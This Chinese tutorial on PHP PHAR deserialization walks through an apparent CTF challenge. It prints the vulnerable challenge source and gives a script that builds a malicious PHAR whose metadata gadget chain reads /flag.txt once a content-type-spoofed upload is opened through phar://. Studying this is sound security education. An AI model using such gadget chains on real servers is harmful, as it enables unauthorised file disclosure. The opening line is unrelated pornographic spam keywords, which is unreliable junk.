欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP開發(fā)技巧之PHAR反序列化詳解

 更新時(shí)間:2022年10月10日 09:56:20   作者:XINO  
這篇文章主要為大家介紹了PHP開發(fā)技巧之PHAR反序列化詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

引文

之前將PHP反序列化的基礎(chǔ)知識講了一遍,不知道大家學(xué)習(xí)的怎么樣了,今天給大家?guī)鞵HP反序列化的進(jìn)階知識:PHAR反序列化,也是之前本人在CTF比賽中經(jīng)常遇到的一種php反序列化的進(jìn)階使用吧,下面先給大家講一講PHAR反序列化的前置知識。

前置知識

PHAR

在軟件中,PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個(gè)歸檔文件中來實(shí)現(xiàn)應(yīng)用程序和庫的分發(fā)。phar文件本質(zhì)上是一種壓縮文件,會(huì)以序列化的形式存儲(chǔ)用戶自定義的meta-data。當(dāng)受影響的文件操作函數(shù)調(diào)用phar文件時(shí),會(huì)自動(dòng)反序列化meta-data內(nèi)的內(nèi)容,這里就是我們反序列化漏洞的利用點(diǎn)。

接下來帶大家看一下如何構(gòu)造phar文件:

PHAR狀態(tài)是只讀的,創(chuàng)建一個(gè)的Phar文件需要允許寫入Phar文件,這需要修改一下:

php.ini:phar.readonly = Off;  #php版本要大于等于5.2

其中php.ini為php的配置文件。

PHAR文件結(jié)構(gòu)

上面簡單介紹了phar的基本定義,接下來我們學(xué)習(xí)一下PHAR文件的基本結(jié)構(gòu):

A stub

phar文件的標(biāo)志,具體代碼為:

xxx<?php xxx; __HALT_COMPILER();?>

注意的是phar文件始終要以__HALT_COMPILER();?>來進(jìn)行結(jié)尾才能被識別為PHAR文件。

A manifest describing the contents

以序列化的形式存儲(chǔ)用戶自定義的meta-data,也是我們利用反序列化漏洞的點(diǎn)。

The file contents

壓縮的文件內(nèi)容。

signature

簽名信息,放在文件末尾。

PHAR文件生成樣例

了解了以上信息,我們就可以嘗試來構(gòu)建一個(gè)PHAR文件的生成,樣例代碼如下:

<?php
	class User{
        var $name;
	}
	@unlink("XINO.phar");
    $phar = new Phar("XINO.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $o = new User();
    $o->name = "XINO";
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

運(yùn)行之后結(jié)果如下:

成功生成了名為XINO.phar的phar類型文件,我們放進(jìn)010editor查看:

看到 meta-data 序列化的內(nèi)容成功的保存到了文件中。我們再用phar協(xié)議去讀取就好了。這里需要注意的一點(diǎn)是:一些文件函數(shù) 通過 phar:// 偽協(xié)議解析phar文件時(shí)都會(huì)將meta-data反序列化,例如:

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents
file         filegroup        fopen        fileinode      fileowner            fileperms
is_dir       is_file          is_link      is_executable  is_readable          is_writeable
is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file   

實(shí)戰(zhàn)

學(xué)完上面的內(nèi)容后,我們便可以嘗試一下實(shí)戰(zhàn)了,先看看利用條件:

phar文件要能夠上傳到服務(wù)器端

要有可用的魔術(shù)方法作為"跳板"

文件操作函數(shù)的參數(shù)可控,且:、/、phar等特殊字符沒有被過濾

下面我們來看一個(gè)例題:

進(jìn)去是一個(gè)登陸界面,我們注冊登陸進(jìn)去,發(fā)現(xiàn)了一個(gè)文件上傳的點(diǎn)。要求得文件類型只能是gif/jpg/png的類型,需要抓包更改其Content-Type為image/jpeg或其它圖片格式的對應(yīng)字符串。抓包后會(huì)發(fā)現(xiàn)POST傳參download處存在任意文件下載:

下載源碼:index.php,delete.php,download.php,class.php

class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" rel="external nofollow"  rel="external nofollow"  class="download">下載</a> / <a href="#" rel="external nofollow"  rel="external nofollow"  class="delete">刪除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
    public function detele() {
        unlink($this->filename);
    }
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

簡單分析一下:

創(chuàng)建一個(gè)user的對象,而且db變量是一個(gè)FileList對象,文件名為flag的路徑。這樣的話,當(dāng)user對象銷毀時(shí),db變量的close方法被執(zhí)行;而db變量沒有close方法,這樣就會(huì)觸發(fā)call魔術(shù)方法(不理解的可以去看之前的文章),于是執(zhí)行File對象的close方法。通過分析FileList類的析構(gòu)方法可以知道,close方法執(zhí)行后存在results變量里的結(jié)果會(huì)加入到table變量中被打印出來,也就是flag會(huì)被打印出來($this->filename=flag文件 )。

于是我們嘗試寫一個(gè)生成PHAR文件的腳本:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("XINO.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub
$phar->setMetadata($a); //將自定義的meta-data存入manifest
//簽名自動(dòng)計(jì)算
$phar->stopBuffering();
?>

生成文件后將PHAR文件改文件類型然后上傳,之后用PHAR協(xié)議去讀取就可以得到flag。

結(jié)語

今天比較詳細(xì)的講了PHAR反序列化漏洞的原理以及應(yīng)用方法,可能剛開始學(xué)不太好理解,可以根據(jù)之前PHP反序列化的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機(jī)來進(jìn)行測試,喜歡的小伙伴不妨一鍵三連。

以上就是PHP開發(fā)技巧之PHAR反序列化詳解的詳細(xì)內(nèi)容,更多關(guān)于PHP開發(fā)PHAR反序列化的資料請關(guān)注腳本之家其它相關(guān)文章!

您可能感興趣的文章:

相關(guān)文章

最新評論